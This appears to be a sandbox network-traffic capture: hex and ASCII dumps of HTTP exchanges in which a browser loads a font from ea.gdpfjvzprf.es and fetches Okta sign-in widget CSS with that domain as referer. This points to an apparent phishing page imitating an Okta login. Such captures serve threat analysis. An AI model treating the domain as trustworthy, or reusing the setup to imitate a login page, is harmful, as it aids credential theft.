2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 28 1b 38 4f 45 06 73 ab f0 68 87 83 ea 26 14 67 ed e6 c5 b6 06 cb 25 4a f5 b0 0f 75 d8 c8 6c 0f 51 52 cb cb 6d 24 6c 9c 1b 67 a2 a2 a0 1c 73 61 81 03 53 a6 d4 9f 78 4a 4b 8b f4 59 15 a3 a0 b6 2b c8 6f 18 79 c4 28 89 13 49 3d 9d 37 50 87 ee a2 f5 41 9b f2 e2 8d 51 51 0c ac cc 54 ec 3b 0b 29 5d 34 c4 08 7f f6 ad f4 b6 3b 60 8c 39 bd 78 b6 0a 6a 4b ac 37 32 fe 8c ee e0 7c 7c e7 ee 38 94 87 59 0d 96 23 31 78 3f 6e a7 49 01 3b ee 40 62 72 5f 00 61 06 73 a9 87 48 55 d3 da d2 d4 b4 ee 73 bd 89 ea 71 c4 2c ef 6d 45 8e 0f a4 1e 2e 36 3d 81 82 e1 92 8c 21 e7 22 75 20 eb 65 4b 95 29 13 25 f9 b6 62 b0 1e b7 78 dc ea 5c 86 71 c8 97 4a 94 2a a5 6f c4 3b 1a f7 4e 18 11 6e b1 04 9b 00 c4 4b da 94 b2 c8 52 e2 05 c3 94 d9 72 ad 27 95 4d df 48 08 4a a6 52 9a b5 26 42 67 0a Data Ascii: (8OEsh&g%JulQRm$lgsaSxJKY+oy(I=7PAQQT;)]4;`9xjK72\|\|8Y#1x?nI;@br_asHUsq,mE.6=!"u eK)%bx\qJ*o;NnKRr'MHJR&Bg
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 1e cb 79 1e a3 a8 da ff c4 33 40 40 91 74 04 84 9c f5 d1 94 fd 5c cd 74 fb ec fe 14 58 10 91 46 34 4b 49 19 d5 a6 27 a8 66 06 dd 40 6b 40 43 f5 1f 04 01 21 a5 a4 28 01 1e 28 78 0d 37 84 c8 27 d2 8b 66 14 87 2d 26 18 cc b1 75 0e f0 27 23 a8 1b 45 c6 e9 d3 c0 f7 db c7 4f ce 5d 06 e0 de ff 17 cb ef e6 07 f9 3e 1c 0c 23 f8 0d 00 f6 62 fa 01 ee 45 03 a6 d4 06 01 80 98 8d 1e f0 66 bb d2 96 80 df 4b c2 82 a6 91 ea fe 0b 8b 03 37 1b 6c 14 23 41 97 ed fa ed 1f 7a 23 61 74 8f a1 f1 7a 7c 1e ff a9 10 e3 c3 3e 2e c7 dd 3c 90 47 ba f6 13 b0 d1 c5 02 bb 38 c0 0a 67 5d 74 cb 77 de f2 e5 91 53 ac cb cb c7 d7 dd 1e 70 d9 23 9e cc b6 34 2b 7f ba bb 56 b2 21 d9 91 ec 77 96 1e fd 2a ac 74 bf da c3 fb f6 12 f9 bd 56 78 38 7d 23 10 f1 30 72 89 28 28 55 99 d2 63 97 01 87 fb 57 Data Ascii: y3@@t\tXF4KI'f@k@C!((x7'f-&u'#EO]>#bEfK7l#Az#atz\|>.<G8g]twSp#4+V!w*tVx8}#0r((UcW
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 7c cc e0 16 60 50 11 37 40 c9 1c 53 b5 18 1f 68 26 41 ba f2 c1 a8 4f 3f f7 1e 31 c8 cd 7a 61 66 c3 1c 7d 2e c2 ae 12 0f f6 18 01 a3 58 ba 35 25 82 c2 04 a7 66 71 6a a0 cf 34 58 2c 37 a3 23 a6 31 3a 97 dc 6a 73 47 02 a4 4a 88 e2 55 57 90 75 6a 2a cc 73 f4 8c 16 c7 3b 52 84 4c 1d 58 d2 e3 3b cd f7 18 8b a8 1a 2f 19 89 26 73 64 bc de cb cd c7 f3 72 19 f1 c4 7e 38 72 5e 6f e7 d7 bb 25 52 88 2b bb 72 59 05 0d 52 6a bf be 9d 99 61 4b b4 5e 00 85 2c b5 d9 95 9e 47 e0 ae 49 86 d6 ad dc 14 17 c1 2d 8d a6 85 24 37 18 44 83 b4 a7 3b d4 c1 e6 c0 0f 60 01 17 29 f0 8a 77 bc 82 18 0c 53 32 83 37 6b 03 94 36 87 01 2a 13 11 d9 7c 0a 28 59 6b 18 f4 5e a6 d5 a4 05 8d 26 6a 85 d4 a4 0a db ef bd f5 f5 24 41 23 8d df ff df 9f 75 de 3d 5c 2a 8e 8a 06 e5 2d 47 4d 23 29 a5 b1 31 Data Ascii: \|`P7@Sh&AO?1zaf}.X5%fqj4X,7#1:jsGJUWujs;RLX;/&sdr~8r^o%R+rYRjaK^,GI-$7D;`)wS27k6\|(Yk^&j$A#u=\*-GM#)1
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 80 24 7f cf 8a 6d 99 61 54 83 01 17 73 11 23 ad 9f 2d 6e 44 8c 5a b4 d9 fc b4 0f 32 6f b8 b9 58 4b db 17 cf de 88 04 50 8d 6a aa 69 6b 99 bf 7a 22 a9 7e e9 d7 7e 47 f5 43 cc 56 6b 4a e2 e3 ff 08 ea c9 4e 48 54 7a c1 3b 9e b6 1d fb ae e9 23 5c ae a8 04 a3 41 ab a9 78 05 60 9d c6 ec 29 ee 81 25 85 bd 14 23 5c 9b 10 ee 72 87 df 99 a0 23 fc a5 a7 e5 b6 22 11 ee 51 91 f8 fe 1c 43 fd 92 aa 5e 17 dc 5f 81 87 4e 04 37 39 95 95 98 6f d5 88 3e af 11 57 76 11 d2 b4 52 c1 36 48 f5 0d b3 3c 2b fa bf 92 ae c2 e5 38 c6 ad c1 16 b4 0c 81 8c 26 84 e2 b4 3a d3 95 10 f1 8d fe 0c 6e 8c 93 55 05 98 bb 7f c9 f7 06 83 bb 61 7a 62 23 79 f5 3b 28 a6 5c d2 1d 3d ea ab 52 7f b3 e4 c5 8a e7 64 eb e7 db 56 a9 4a 4d 4e 76 e0 c0 e5 8f 67 a6 d1 80 5c 74 14 31 90 d2 76 77 53 81 cc 76 21 Data Ascii: $maTs#-nDZ2oXKPjikz"~~GCVkJNHTz;#\Ax`)%#\r#"QC^_N79o>WvR6H<+8&:nUazb#y;(\=RdVJMNvg\t1vwSv!
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 28 92 cc e5 9a 8d 4b d8 dd 8e 2c 76 0b b3 d1 e5 95 49 43 9e bc 14 c2 bd d9 a4 aa c9 1f 0e 9a f0 74 72 ef b7 9d 9a 2a 07 e1 ad 59 04 de ff a9 b2 cd 30 c6 8c 92 c9 33 fd c4 f4 19 2c a2 fa 6c fe 36 7a aa 17 54 9f 84 7d cb 68 3b 32 28 1e 57 ec 62 0b 14 79 53 93 4e 12 dd 03 38 5e 04 1b d2 28 04 22 35 be 48 41 e6 3c a5 52 4c 45 73 5b 20 c5 31 0f c7 ac 29 1a d0 48 49 20 5d b8 31 e5 3a 8b d5 8a 80 a2 a8 d0 b5 dd c8 55 8c 25 8c 57 66 6b b9 e0 50 4b f7 42 67 ae 83 4a e4 a9 ad ee 19 a7 c8 73 9e a2 1b 56 e7 f4 08 2e 75 66 ee 39 cf dd f7 d2 67 ea 7d 21 17 ba 9f 41 e9 09 34 35 d7 f0 f8 4d be 51 89 0c af af d6 08 f5 ba 52 1f 83 11 8c 44 af 70 d0 f8 f9 de 3a 8b 49 d2 46 fd 16 da 55 b0 0c 6a dd 10 5f 4a 41 41 89 e4 f8 97 16 36 ed c3 ef 99 de f6 51 01 96 66 e6 a7 06 d4 cd Data Ascii: (K,vICtr*Y03,l6zT}h;2(WbySN8^("5HA<RLEs[ 1)HI ]1:U%WfkPKBgJsV.uf9g}!A45MQRDp:IFUj_JAA6Qf
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: e1 6f bf c5 91 a1 57 a7 86 24 a7 4d 25 9c ff d0 34 71 b1 2d 4c 65 3b c9 28 75 74 92 50 36 04 9f ad 0e 2a 76 23 8c 52 6c f7 f7 cc be 11 93 56 3b 6d e9 5e fb 0c 46 76 95 2c c2 eb c5 ec ee ad b9 53 60 df 8e a3 dd ad 2d 7d 55 e2 8e df 4c 2e c5 bf cd ae 90 13 eb 15 82 5e 04 bb fb 9a 39 d9 dc 8d 8c 62 59 b3 05 4a 73 19 cb f2 5b b9 8b f2 b7 7d a7 b3 30 2d 7a c9 2e 14 34 f0 c2 ab 7b fd 85 fd f7 5e cd fb 1c 76 35 9f a5 d6 b4 25 7d 63 2a 99 17 5e 9a be 73 fc f8 f8 f7 97 f9 f3 12 4b f2 f5 da ce 73 b4 50 47 b8 fd 90 cf 3b 9b 4f af 6d 29 f8 a1 dd ec e3 f8 2d b4 7b eb ed c1 6d 78 95 75 5b 9c ea 91 b0 db eb 8e 7d f1 8b 59 ea f9 54 17 08 c1 67 ee 5f b8 d2 ca 6a 66 9d be 77 e6 f1 85 2f 7b 38 5d 9c d3 01 c9 fe 41 16 f9 95 d9 cb c2 5f 66 63 06 ec f2 63 57 23 b5 e5 e4 01 70 Data Ascii: oW$M%4q-Le;(utP6v#RlV;m^Fv,S`-}UL.^9bYJs[}0-z.4{^v5%}c^sKsPG;Om)-{mxu[}YTg_jfw/{8]A_fccW#p

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:32:02 UTC	1359	OUT	GET /GDSherpa-regular.woff HTTP/1.1 Host: ea.gdpfjvzprf.es Connection: keep-alive Origin: https://ea.gdpfjvzprf.es sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IldjdGlDQTVZTDd5eW9vUU1oYSt1d3c9PSIsInZhbHVlIjoiQjNTem0yOGZMUlBjSy9CZjZuNS9DZDlsRW50RWZPT05GdDYrSEhQYkZneDdzVmdSYm9jRUd4YjV1My9sTTVBdndydzN6VUl2Z1lxb0E3cUVjdDdUNmEySXZKcnphZGRibEFNcEFOSlNVZHhMN1luODhEbXdtUUZlaWdNMmx5SWQiLCJtYWMiOiI2YTYzOTkzZjc5ODA0ZDQ5YTU2MDhiMjAyODA1NDIxMDcyMTU5NDcxZjYzN2JmNzRhNzBiMjMyZGExMzQ5NGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IllHLzUxZDRrR0RtY0txRXZCY3FQNWc9PSIsInZhbHVlIjoieGF6dUhyZ09JK0N5U3oxc05Uc2Z4OHM3alFSTFZFYU5XazI2aWtXREV5R3BrYjM2MWN6WFVrZUhWc3ZEeS8ybHo2a0tONFFqTEE3akN3aTZFeGlmUnpJY0ZlR3JTNHhZK2t1dExpYjNhbUxZdXVtZHl6UE1BQjNYV3Rnb3F4VDMiLCJtYWMiOiIyYTQyMDIwYTIzNDMwNTlmNGM3OTEwMThjZWRlMGJmYTAxMzRmYjJkOWI1ZGQzOWM4N2YwMjAzOTU0YmRhZTcyIiwidGFnIjoiIn0%3D
2025-03-26 23:32:02 UTC	1176	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 23:32:02 GMT Content-Type: font/woff Content-Length: 36696 Connection: close Content-Disposition: inline; filename="GDSherpa-regular.woff" Last-Modified: Wed, 26 Mar 2025 23:16:50 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jD51%2BiOH%2BZspqiUdVwvXm35Exy2L3a3dIGOzy%2BOVFqOWs%2Fqa9Kccjzntj3mr5nMS0jpyOZ1Ly19PuuFnM1ZaescCVpP9ZAzCmelXAWrmkCC%2BcJz%2FfVOmqFy5TSfnJAOrBJ79"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=893&min_rtt=849&rtt_var=264&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2396&delivery_rate=4554054&cwnd=252&unsent_bytes=0&cid=afe1502056355477&ts=576&x=0" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 912 Accept-Ranges: bytes Server: cloudflare CF-RAY: 926a71ea3a9432d0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=85452&min_rtt=85292&rtt_var=18232&sent=5&recv=9&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1931&delivery_rate=35636&cwnd=252&unsent_bytes=0&cid=4db9662dfdaf5b07&ts=199&x=0"
2025-03-26 23:32:02 UTC	193	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8f 58 00 11 00 00 00 01 36 90 00 01 00 00 00 00 8e 30 00 00 01 28 00 00 02 97 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8e 28 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 18 99 00 00 5e 3e 80 e1 18 da 47 53 55 42 00 00 1a 1c 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c cc 00 00 00 46 00 00 00 60 68 60 7b 5a 63 6d 61 70 00 00 1d 14 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 87 b0 00 00 00 30 00 00 00 3c 28 d6 01 ad 66 70 67 6d 00 00 87 e0 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 87 a8 00 Data Ascii: wOFFX60(DSIG(GPOS^>GSUB3yOS/2F`h`{Zcmap<?+cvt 0<(fpgm?gasp
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 22 30 00 00 54 6c 00 00 a0 68 11 94 2e 2b 68 65 61 64 00 00 76 9c 00 00 00 34 00 00 00 36 1a bb 7d da 68 68 65 61 00 00 76 d0 00 00 00 21 00 00 00 24 10 9d 09 5a 68 6d 74 78 00 00 76 f4 00 00 03 88 00 00 07 78 3b 0f c0 f7 6c 6f 63 61 00 00 7a 7c 00 00 03 a8 00 00 03 be 14 10 ec 74 6d 61 78 70 00 00 7e 24 00 00 00 20 00 00 00 20 03 2d 0c fd 6e 61 6d 65 00 00 7e 44 00 00 02 ce 00 00 06 27 d5 12 90 1c 70 6f 73 74 00 00 81 14 00 00 06 94 00 00 0b fb 31 2b f3 2c 70 72 65 70 00 00 8d a4 00 00 00 81 00 00 00 8d 19 50 02 10 78 da e5 5c 09 7c 55 d5 99 ff 4e 72 f3 5e f2 c2 0b 09 89 90 80 44 44 d0 b8 54 1c eb 82 e0 82 56 ad 02 a2 43 b5 b6 a3 b5 55 c4 5f 7f 4e c7 99 fa 6b 7f 38 8e 6d a7 88 d8 aa 68 07 51 1c 36 71 90 Data Ascii: glyf"0Tlh.+headv46}hheav!$Zhmtxvx;locaz\|tmaxp~$ -name~D'post1+,prepPx\\|UNr^DDTVCU_Nk8mhQ6q
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 5e c4 79 12 f5 02 b6 7b 41 ad 9e a0 54 0f 60 3b 00 d8 9e 0f 7e 15 00 5b 1f 78 d5 4b bd 8e 72 b3 51 ef 02 d4 b3 90 fa 03 f3 1c 60 dc 1f 4f 7d e8 4f 2a 52 1a d2 58 2e 85 fd 98 c5 47 c0 bf 65 c0 da a6 57 b2 ad dd a0 f9 93 68 7d 1c 6a 79 0a 6f 8f c7 79 02 7f 61 f3 0a f7 2f 21 6f 32 2c c1 54 b1 21 f9 c0 20 1f 18 64 81 66 b5 36 16 28 37 1b e7 39 c8 5f 80 77 17 02 93 55 38 0b fd 44 9b d3 41 23 9b 4b 4e 8b 3b 21 29 39 46 52 c0 25 3c 9b 80 3e 3e 8f f3 0b 90 b5 17 85 53 7e f5 12 f2 b4 46 db da 9c 81 96 33 d0 b2 e5 e1 56 1d 24 26 8c 16 a5 25 f4 10 bc a7 6e 68 ab 07 da ea 6e 68 6e a1 2d 9f e1 be 85 de e8 ba d2 51 57 2e ea f2 8b ee ce 84 cc cf 46 de 1c a9 2b 08 cc fd c0 ba 2b e4 69 19 6a 5d 07 df 51 02 6b 35 16 32 aa 6b 9a 80 5c 2d bf 5a 76 6d ed 0f 03 93 5a 23 bb 75 Data Ascii: ^y{AT`;~[xKrQ`O}O*RX.GeWh}jyoya/!o2,T! df6(79_wU8DA#KN;!)9FR%<>>S~F3V$&%nhnhn-QW.F++ij]Qk52k\-ZvmZ#u
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: a6 bd e8 29 49 59 47 d1 55 6d 67 96 22 de 5a 12 3d 02 89 44 e8 ba 84 1d bb 7b 66 34 fa 76 04 dc a3 70 a8 87 ad 3c c9 cc 75 74 3e ae 56 d1 59 90 f1 26 ea 42 67 b8 25 4a 44 3f 2f b5 c7 e3 74 11 65 99 39 83 40 07 93 f6 70 eb 23 c4 8e 43 6f cf 1c 59 31 46 d2 c4 65 94 cb eb f9 4d 2a 40 e4 be db eb 6d f9 31 39 15 98 79 82 7e 89 8f 0b da b2 9f 5f 27 ff db 9d ef 70 a9 28 fb 11 64 06 04 76 a8 b5 b9 54 33 e7 91 30 ab 2f 73 2f eb 30 ae 58 de 5a fc ee b1 a1 ad f5 21 51 d8 fb 65 fc a1 e3 80 ac 56 4b a4 cb ea 83 3f fe db e6 48 49 b0 cc 04 64 16 29 4f 62 94 64 3e 2e 4f 92 64 f7 86 43 e1 e3 31 18 e7 98 14 4c 94 25 e4 fd 90 e9 7d ad da 8b 0e 69 47 da 8e 51 78 70 9c dc c1 9d 67 54 d2 d1 23 9a 28 1c 8e 74 ba 59 81 6c ea 94 07 7c cf 71 99 5b 0a ca 5a 47 19 97 48 b4 78 96 2d Data Ascii: )IYGUmg"Z=D{f4vp<ut>VY&Bg%JD?/te9@p#CoY1FeM*@m19y~_'p(dvT30/s/0XZ!QeVK?HId)Obd>.OdC1L%}iGQxpgT#(tYl\|q[ZGHx-
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 44 b4 71 1f ac cd fb fc 16 9e 7c 28 3a a1 39 f2 10 62 fd a5 88 3e 1a f8 53 fe 25 f2 b7 9a 95 c2 3a 63 47 7a 53 a6 c8 55 21 a2 93 83 74 07 ae 83 18 cd bf 41 b9 b0 24 7a d5 f9 00 ef 06 5d 16 db b6 4a 78 11 84 0e 65 f2 36 9c c7 a0 de 49 bc 02 5a be 52 7f 8f 11 59 e5 8a 83 f5 73 22 2d 9b 79 09 4a e9 3d e4 49 d0 ce ed d0 17 86 f4 5d 86 e7 13 51 67 39 ef 81 dd d1 91 c2 21 19 97 4c 14 3c 83 b2 93 5c cf 07 6a 6d 55 9a da 6e 8c 1c 10 5b bd 1f e7 4a ba 98 0f 00 a7 03 bc 53 ef e5 96 fe 55 e9 ef 90 74 2c 16 b1 73 28 43 bc 5c 52 0e a2 b7 90 de 55 2d de 37 b3 5d 99 59 04 2a eb bd fb 7d 80 f3 5f f8 15 d0 be 0c b6 ef 66 fe 33 ff 1a f5 2e 85 6d df cc 1b 51 63 09 6f 41 e9 47 f8 03 fe 5f 48 59 25 7f c2 af 23 bf 54 62 ae 63 ae 5e f7 80 c5 5d 01 3b 3b 1f ed 97 80 02 65 28 33 Data Ascii: Dq\|(:9b>S%:cGzSU!tA$z]Jxe6IZRYs"-yJ=I]Qg9!L<\jmUn[JSUt,s(C\RU-7]Y*}_f3.mQcoAG_HY%#Tbc^];;e(3
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: ff 33 f1 15 44 2d 66 65 0c b5 db bb f6 d3 63 c6 ae fa ff 46 1a a5 0f dd e3 8e 71 2d db 53 0a 4e be 18 4f ec 8d b8 fc 26 df fe 9e 30 57 a8 ed 33 57 a7 3f c7 71 02 54 cb 12 1b 7b 82 17 ba 6d 46 c6 81 33 dc 78 c9 c6 44 8f c0 b3 62 c6 1f 55 26 72 4a 97 19 4c 3b ae cd b7 63 4e d9 93 e3 37 36 5e be 64 10 1f e1 17 0e 63 54 8c a8 39 d9 fe a7 8c 53 99 8f 8c c2 fd b8 cc 98 66 88 b5 3b c2 d3 ed 15 e1 28 dc ff 68 66 4c 29 26 5a b5 a2 66 d3 ec af 31 7d 32 86 3b 2e fc c9 b5 69 29 b8 a7 bb b1 8a df ac fc 07 78 3b 38 79 50 d6 55 92 cd 5a 5b b0 8d af 95 e3 cb 4c b3 d0 2b 7a 7d 36 c9 23 d5 b1 f1 a3 ce 49 8b 6b 49 2c 67 75 cc 70 2a 23 4e 8c 15 2d 4b 9a 1f 01 a9 11 fd 16 1d ff 6a 87 9f 3a ef a1 3a 01 8e 49 f2 55 cd b9 b8 3a 1f d0 8f 2e 04 f4 a7 ef d0 cf f1 ec 61 5a 4d 0f d0 Data Ascii: 3D-fecFq-SNO&0W3W?qT{mF3xDbU&rJL;cN76^dcT9Sf;(hfL)&Zf1}2;.i)x;8yPUZ[L+z}6#IkI,gup*#N-Kj::IU:.aZM
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: f7 16 c7 a4 71 43 15 83 34 5b 88 fe 87 aa 57 b8 d5 82 47 ca e9 22 45 44 49 3f d1 d2 45 77 a9 28 56 ea 88 93 96 e2 5d 8d d0 87 be ea d9 9f 24 29 73 00 c9 ea 3e 98 14 86 88 bb 61 a4 32 5a d3 8d 65 9c d4 38 81 89 8c 27 91 29 4c 65 1a 93 98 cc 74 66 90 ce 4c 66 31 9b 39 cc 65 1e 19 64 32 9f 2c 16 b0 90 1c b2 59 44 2e 8b 59 c2 52 f2 58 a6 5d ac 10 37 ab 58 47 be 98 f7 b2 9a 35 14 52 c0 7a 36 52 4c 11 1b 28 a1 94 4d f8 d8 cc 16 b6 52 46 39 db d9 c1 4e 76 b1 8d dd ec 61 2f fb d8 4f 05 07 a8 e4 20 87 38 cc 11 8e 72 8c e3 54 71 82 53 9c e6 0c e7 38 cf 59 2e 70 92 8b 5c e6 12 57 b8 4a 35 d7 b8 2e 86 6e 72 8b db dc e1 ae 34 71 9f 1a 1e 88 cb 70 1e 8a 5b b4 91 7a f1 f6 84 97 e2 ae 91 57 62 e7 35 6f c5 ce 7b 3e 88 9d 26 fd 92 a5 83 6f e2 e7 bb 89 20 c5 78 4c 2c 79 26 Data Ascii: qC4[WG"EDI?Ew(V]$)s>a2Ze8')LetfLf19ed2,YD.YRX]7XG5Rz6RL(MRF9Nva/O 8rTqS8Y.p\WJ5.nr4qp[zWb5o{>&o xL,y&
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: d3 93 22 86 eb 32 86 29 8a 11 6a c2 eb ea cc 3c dd a6 e7 35 4c 2f 68 b8 46 68 a4 e6 68 ae a6 ea 90 f2 18 48 01 87 24 55 d6 45 aa a6 bb d4 47 fd 09 d7 29 73 f1 85 e6 80 90 3f 1c cd ff 19 e7 f3 fd 6a 65 eb 3d ad d1 5a e5 68 9d de d7 7a e5 fe 9d 05 42 09 b3 6c ae c0 05 f6 f5 8a 54 a2 32 17 71 31 55 a8 4a 35 aa 53 83 4b a8 69 c9 5d 9b 08 2e b5 cc a9 6b 99 5e ff af fc b0 88 34 16 b3 84 b7 49 27 c3 f2 7c 19 ef 58 a6 67 b2 d2 f2 73 15 ef b2 da f2 fd 3d 4b d2 b5 96 18 eb 78 9f f5 e4 fe c1 9c e9 2f a1 a7 8b 91 33 84 04 23 23 60 54 04 8d 88 4f 8c 89 42 e3 e1 e7 52 22 2a 18 13 46 84 f1 e0 1a 11 0d 8c 06 9f 91 10 5d ca c2 1c 63 b3 84 db 4c fb b7 2b d9 6b b4 2e d0 5b ea 61 fc 6e 33 2a 9b 6a 9f 91 fb a1 76 29 dd e8 3d 68 7f ff b0 8e a8 c0 c8 5e 64 df de 60 4c cd 32 ee Data Ascii: "2)j<5L/hFhhH$UEG)s?je=ZhzBlT2q1UJ5SKi].k^4I'\|Xgs=Kx/3##`TOBR"F]cL+k.[an3jv)=h^d`L2
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 31 bf ac ff d4 ac f0 61 ab fe 9f 9b 86 24 fe fd 89 f6 8d ce 12 46 c6 33 8b b8 46 32 96 3d cb c8 b8 f6 62 ed fb c4 04 fa cc a4 d6 ab 09 ff 2e e2 d7 2f 5e b4 66 01 fb ac f7 e0 9e 3b eb f1 66 eb 76 b1 3c b4 11 ca 63 19 8d c5 5b ec 02 2a 5e 6a 6f a2 6c a0 04 c8 79 91 0c 7d c0 e6 8d de 66 df 02 ac 86 31 5a a2 15 30 d4 c5 51 43 b3 30 f5 ac 6d c0 78 7a b8 aa 18 0d d2 70 94 43 89 d8 60 f6 f7 87 d1 91 0e a4 c0 c8 c6 8a e6 f3 6b 0b 95 e7 5d 4e 6d 3f 3c 7c 31 6b d5 c3 ea 69 ab cf 2d f6 19 3e 7f fd 15 76 d7 c8 fa cd 3f 1a 2a 96 e4 84 ef a7 ed 84 11 a0 52 72 88 23 2a 17 86 17 21 11 f4 2f a1 11 c8 75 63 dc 34 3e 3e 3c d1 5c 6a 64 02 ed 85 10 b4 17 6d 64 5d 7f 6d fd 18 e7 fc 4c d0 0b 8f 01 f9 23 ef b3 71 d6 f7 46 2e e3 3f 0a 97 84 5e 28 d6 26 8b ec d7 f0 07 cf 04 5a fc Data Ascii: 1a$F3F2=b./^f;fv<c[^joly}f1Z0QC0mxzpC`k]Nm?<\|1ki->v?Rr#*!/uc4>><\jdmd]mL#qF.?^(&Z
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 5e a0 b5 0b 2c f9 1a 98 63 c9 24 cb b0 2a 62 27 a9 18 05 a7 52 38 da 62 2e 4a 4c ad 31 86 f1 51 43 46 2f b5 f8 9f ab 32 38 5e 8f ec ec 32 35 11 46 9d 3a 92 75 65 af 59 cb 70 b7 f5 10 be 31 72 41 70 bd 8e 2f 0b f3 d1 a3 b2 a5 86 2a 84 6b dc ed 91 bf b2 be a2 3d da 33 7a 5b b5 06 c6 6f 08 93 cc bc 68 71 55 23 30 3a 10 cc ff 92 90 10 c7 82 57 70 7c a3 0b 22 ea 92 4c ce fe 65 6e 2a 98 32 98 7a 57 9b a1 25 da 63 89 93 41 99 31 60 99 1b 52 a9 ec 72 59 4c b6 0c 8c 8b cb 98 01 87 6b 45 b3 43 a1 50 d6 ba 22 a5 d2 4b ca c7 88 e6 5a ad 25 20 2c 94 61 8c 31 a1 c9 61 c9 40 75 08 e1 86 c6 a8 77 07 86 e8 d2 15 0a bd bd aa d6 a6 8f 71 28 da 61 8a e3 3e 2b fb cb 63 17 bf 7e 60 f6 ec 07 be be f8 c8 df ca d8 fd d6 00 7c ce ba 18 df ba b3 77 d3 f5 d5 19 19 ab af 6f 92 14 f5 Data Ascii: ^,c$b'R8b.JL1QCF/28^25F:ueYp1rAp/k=3z[ohqU#0:Wp\|"Len*2zW%cA1`RrYLkECP"KZ% ,a1a@uwq(a>+c~`\|wo

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:32:02 UTC	640	OUT	GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Referer: https://ea.gdpfjvzprf.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 23:32:02 UTC	770	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 222931 Connection: close Date: Thu, 13 Mar 2025 22:49:11 GMT Server: nginx Last-Modified: Tue, 14 May 2024 21:48:24 GMT ETag: "0329c939fca7c78756b94fbcd95e322b" x-amz-meta-sha1sum: 7b5499b46660a0348cc2b22cae927dcc3fda8b20 Expires: Fri, 13 Mar 2026 22:49:11 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Accept-Ranges: bytes Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 e4139980c923137f619eb979df36e416.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P7 X-Amz-Cf-Id: 4PpCiOueEgckwPt04AoFO423vNp1RsUHbxtJ0ki7BuiFtVe2qrO8Mw== Age: 1125771
2025-03-26 23:32:02 UTC	16384	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2e 71 74 69 70 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 64 69 72 65 63 74 69 6f 6e 3a 6c 74 72 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 2e 35 70 78 3b 6c 65 66 74 3a 2d 32 38 30 30 30 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 32 70 78 3b 6d 61 78 2d 77 69 64 74 68 3a 32 38 30 70 78 3b 6d 69 6e 2d 77 69 64 74 68 3a 35 30 70 78 3b 70 61 64 64 69 6e 67 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 2d 32 38 30 30 30 70 78 7d 2e 71 74 69 70 2d 63 6f 6e 74 65 6e 74 7b 77 6f 72 64 2d 